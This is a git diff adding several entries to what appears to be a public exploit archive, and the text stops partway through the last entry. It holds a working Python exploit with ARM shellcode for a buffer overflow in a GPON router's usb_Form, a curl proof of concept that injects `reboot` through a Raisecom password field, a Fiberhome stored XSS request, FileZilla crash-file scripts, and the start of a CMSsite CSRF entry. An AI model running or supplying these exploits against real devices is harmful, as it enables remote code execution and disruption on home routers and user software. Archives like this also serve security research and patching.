diff --git a/exploits/hardware/dos/46469.py b/exploits/hardware/dos/46469.py new file mode 100755 index 000000000..bdf2fa3d4 --- /dev/null +++ b/exploits/hardware/dos/46469.py @@ -0,0 +1,147 @@ +#!/usr/bin/python3 + + +import argparse +import requests +import urllib.parse +import binascii +import re + + +def run(target): + """ Execute exploitation """ + # We're using CVE-2018-10561 and/or it's extension in order to exploit this + # Authenticated RCE in usb_Form method of GPON ONT. We can also exploit this + # issue after successful authentication: "useradmin" permission is enough + # + # IP Spoofing. Perspective option here too + # + + # Step 1. Just a request to adjust stack for the exploit to work + # + # POST /GponForm/device_Form?script/ HTTP/1.1 + # Host: 192.168.1.1 + # User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0 + # Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + # Accept-Language: en-US,en;q=0.5 + # Accept-Encoding: gzip, deflate + # Referer: http://192.168.1.1/device.html + # Content-Type: application/x-www-form-urlencoded + # Content-Length: 55 + # Connection: close + # Upgrade-Insecure-Requests: 1 + # + # XWebPageName=device&admin_action=usb_enable&usbenable=1 + + headers = {'User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0', + 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Accept-Language':'en-US,en;q=0.5', 'Accept-Encoding':'gzip, deflate', + 'Referer':'http://192.168.1.1/device.html', 'Content-Type':'application/x-www-form-urlencoded', + 'Connection': 'close', 'Upgrade-Insecure-Requests':'1', 'Cookie':'hibext_instdsigdipv2=1; _ga=GA1.1.1081495671.1538484678'} + payload = {'XWebPageName':'device', 'admin_action':'usb_enable', 'usbenable':1} + try: + requests.post(urllib.parse.urljoin(target, '/GponForm/device_Form?script/'), data=payload, verify=False, headers=headers, timeout=2) + except: + pass + + # Step 2. Actual Exploitation + # + # POST /GponForm/usb_Form?script/ HTTP/1.1 + # Host: 192.168.1.1 + # User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0 + # Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + # Accept-Language: en-US,en;q=0.5 + # Accept-Encoding: gzip, deflate + # Referer: http://192.168.1.1/usb.html + # Content-Type: application/x-www-form-urlencoded + # Content-Length: 639 + # Connection: close + # Upgrade-Insecure-Requests: 1 + + # XWebPageName=usb&ftpenable=0&url=ftp%3A%2F%2F&urlbody=&mode=ftp_anonymous&webdir=&port=21&clientusername=BBBBEBBBBDDDDBBBBBCCCCBBBBAAAABBBBAABBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAABBBBBBEEEBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&clientpassword=&ftpdir=&ftpdirname=undefined&clientaction=download&iptv_wan=2&mvlan=-1 + + # Weaponizing request: + + # mov r8, r8 ; NOP for ARM Thumb + + nop = "\xc0\x46" + + # .section .text + # .global _start + # + # _start: + # .code 32 + # add r3, pc, #1 + # bx r3 + # + # ; We've removed prev commands as processor is already in Thumb mode + # + # .code 16 + # add r0, pc, #8 + # eor r1, r1, r1 + # eor r2, r2, r2 + # strb r2, [r0, #10] ; Changing last char of command to \x00 in runtime + # mov r7, #11 + # svc #1 + # .ascii "/bin/tftpdX" + + shellcode = "\x02\xa0\x49\x40\x52\x40\x82\x72\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x74\x66\x74\x70\x64\x58" + + # Overwritting only 3 bytes in order to get \x00 in 4th + + pc = "\xe1\x8c\x03" + + exploit = "A" + 197 * nop + shellcode + 26*"A" + pc + + payload = {'XWebPageName':'usb', 'ftpenable':'0', 'url':'ftp%3A%2F%2F', 'urlbody':'', 'mode':'ftp_anonymous', + 'webdir':'', 'port':21, 'clientusername':exploit, 'clientpassword':'', 'ftpdir':'', + 'ftpdirname':'undefined', 'clientaction':'download', 'iptv_wan':'2', 'mvlan':'-1'} + headers = {'User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0', + 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Accept-Language':'en-US,en;q=0.5', 'Accept-Encoding':'gzip, deflate', + 'Referer':'http://192.168.1.1/usb.html', 'Content-Type':'application/x-www-form-urlencoded', + 'Connection': 'close', 'Upgrade-Insecure-Requests':'1', + 'Cookie':'hibext_instdsigdipv2=1; _ga=GA1.1.1081495671.1538484678'} + # Prevent requests from URL encoding + payload_str = "&".join("%s=%s" % (k,v) for k,v in payload.items()) + try: + requests.post(urllib.parse.urljoin(target, '/GponForm/usb_Form?script/'), data=payload_str, headers=headers, verify=False, timeout=2) + except: + pass + + print("The payload has been sent. Please check UDP 69 port of router for the tftpd service"); + print("You can use something like: sudo nmap -sU -p 69 192.168.1.1"); + + +def main(): + """ Parse command line arguments and start exploit """ + + # + # Exploit should be executed after reboot. You can easily achive this in 3 ways: + # 1) Send some request to crash WebMgr (any DoS based on BoF). Router will be rebooted after that + # 2) Use CVE-2018-10561 to bypass authentication and trigger reboot from "device.html" page + # 3) Repeat this exploit at least twice ;) + # any of those will work! + # + + parser = argparse.ArgumentParser( + add_help=False, + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog="Examples: %(prog)s -t http://192.168.1.1/") + + # Adds arguments to help menu + parser.add_argument("-h", action="help", help="Print this help message then exit") + parser.add_argument("-t", dest="target", required="yes", help="Target URL address like: https://localhost:443/") + + # Assigns the arguments to various variables + args = parser.parse_args() + + run(args.target) + + +# +# Main +# + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/exploits/hardware/webapps/46489.txt b/exploits/hardware/webapps/46489.txt new file mode 100644 index 000000000..6ed814092 --- /dev/null +++ b/exploits/hardware/webapps/46489.txt @@ -0,0 +1,19 @@ +# Exploit Title: Remote code execution in Raisecom xpon +# Date: 03/03/2019 +# Exploit Author: JameelNabbo +# Website: Ordina.nl +# Vendor Homepage: https://www.raisecom.com +# Software Link: https://www.raisecom.com/products/xpon +# Version: ISCOMHT803G-U_2.0.0_140521_R4.1.47.002 +# Tested on: MacOSX +# CVE-2019-7385 + +POC: +curl -i -s -k -X 'POST' \ +-H 'Origin: http://127.0.0.1' -H -H 'Content-Type: +application/x-www-form-urlencoded' -H 'User-Agent: Chrome/7.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, +like Gecko) Chrome/65.0.3325.181 Safari/537.36' -H 'Referer: http://192.168.1.1/password.asp' \ +--data-binary +$'userMode=0&oldpass=netstat&newpass=`reboot`&confpass=`reboot`&submit-url=%2Fpassword.asp&save=Apply+Changes&csrf_token=current_cCSRF_ToKEN' +\ +'http://192.168.1.1/boaform/formPasswordSetup' \ No newline at end of file diff --git a/exploits/hardware/webapps/46498.txt b/exploits/hardware/webapps/46498.txt new file mode 100644 index 000000000..24f6903a0 --- /dev/null +++ b/exploits/hardware/webapps/46498.txt @@ -0,0 +1,41 @@ +# Exploit Title: Fiberhome AN5506-04-F - Stored Cross Site Scripting +# Date: 04.03.2019 +# Exploit Author: Tauco +# Vendor Homepage: http://www.fiberhomegroup.com/en/ +# Version: RP2669 +# Tested on: Windows 10 +# CVE : CVE-2019-9556 + +Description: +=========================================================================== + +Stored XSS occurs when a web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user’s browser under the privileges of the web application. + +https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002) + +Proof of concept : + +=========================================================================== +1. Login with credential 192.168.1.1 +2. Go to Management +3. Open User Account +4. Add user +5. Inject the post parameter "account_user" +6. Encode Url + +POST /goform/setUser HTTP/1.1 +Host: 192.168.1.1 +Content-Length: 101 +Cache-Control: max-age=0 +Origin: http://192.168.1.1 +Upgrade-Insecure-Requests: 1 +Content-Type: application/x-www-form-urlencoded +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 +Referer: http://192.168.1.1/management/account_admin.asp +Accept-Encoding: gzip, deflate +Accept-Language: en-US,en;q=0.9 +Cookie: loginName=admin +Connection: close + +account_user=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%58%53%53%22%29%3c%2f%73%63%72%69%70%74%3e&account_pwd=password123&account_pwd2=password123&btnApply1=Apply&curIndex=new \ No newline at end of file diff --git a/exploits/linux/dos/46484.txt b/exploits/linux/dos/46484.txt new file mode 100644 index 000000000..cd81db432 --- /dev/null +++ b/exploits/linux/dos/46484.txt @@ -0,0 +1,56 @@ +# Exploit Title: FileZilla 3.40.0 - "Local search" Denial of Service (PoC) +# Discovery by: Mr Winst0n +# Discovery Date: February 20, 2019 +# Vendor Homepage: https://filezilla-project.org +# Software Link : https://filezilla-project.org/download.php?type=client&show_all=1 +# Tested Version: 3.40.0 +# Tested on: Kali linux x86_64 +# Vulnerability Type: Denial of Service (DoS) + + +# Steps to Produce the Crash: +# 1.- Run python code : python filezilla.py +# 2.- Open buff.txt and copy content to clipboard +# 3.- Open Filezilla (located in bin folder), in top bar click on Binoculars icon (search for files recursively) +# 4.- In the opend window, Set Search type to "Local search" +# 5.- Paste ClipBoard on "Search directory" and click on "Search" +# 6.- Boom! Crashed... + + +#!/usr/bin/env python + +buffer = "\x41" * 384 +crash = "/" + buffer + "BBBB" + "CCCC" +f = open("buff.txt", "w") +f.write(crash) +f.close() + +# Note: If you have not "/" before payload, you should add it to begining of payload, So the program recognizes it as a valid path. + + +# Exploit Title: FileZilla 3.40.0 - "Local site" Denial of Service (PoC) +# Discovery by: Mr Winst0n +# Discovery Date: February 25, 2019 +# Vendor Homepage: https://filezilla-project.org +# Software Link : https://filezilla-project.org/download.php?type=client&show_all=1 +# Tested Version: 3.40.0 +# Tested on: Kali linux x86_64 +# Vulnerability Type: Denial of Service (DoS) + + +# Steps to Produce the Crash: +# 1.- Run python code : python filezilla-2.py +# 2.- Open crash.txt and copy content to clipboard +# 3.- In "Local site" section paste clipboard and Enter. +# 4.- Boom! Crashed... + + +#!/usr/bin/env python + +buffer = "\x41" * 384 +crash = "/" + buffer + "BBBB" + "CCCC" +f = open("crash.txt", "w") +f.write(crash) +f.close() + +# Note: If you have not "/" before payload, you should add it to begining of payload, So the program recognizes it as a valid path. \ No newline at end of file diff --git a/exploits/php/webapps/46480.txt b/exploits/php/webapps/46480.txt new file mode 100644 index 000000000..299d1e8da --- /dev/null +++ b/exploits/php/webapps/46480.txt @@ -0,0 +1,149 @@ +# Exploit Title: CMSsite 1.0 - Cross-Site Request Forgery (Delete Admin) +# Exploit Author: Mr Winst0n +# Author E-mail: manamtabeshekan[@]gmail[.]com +# Discovery Date: March 1, 2019 +# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite +# Software Link : https://github.com/VictorAlagwu/CMSsite/archive/master.zip +# Tested Version: 1.0 +# Tested on: Kali linux, Windows 8.1 + +# PoC: + + + +
+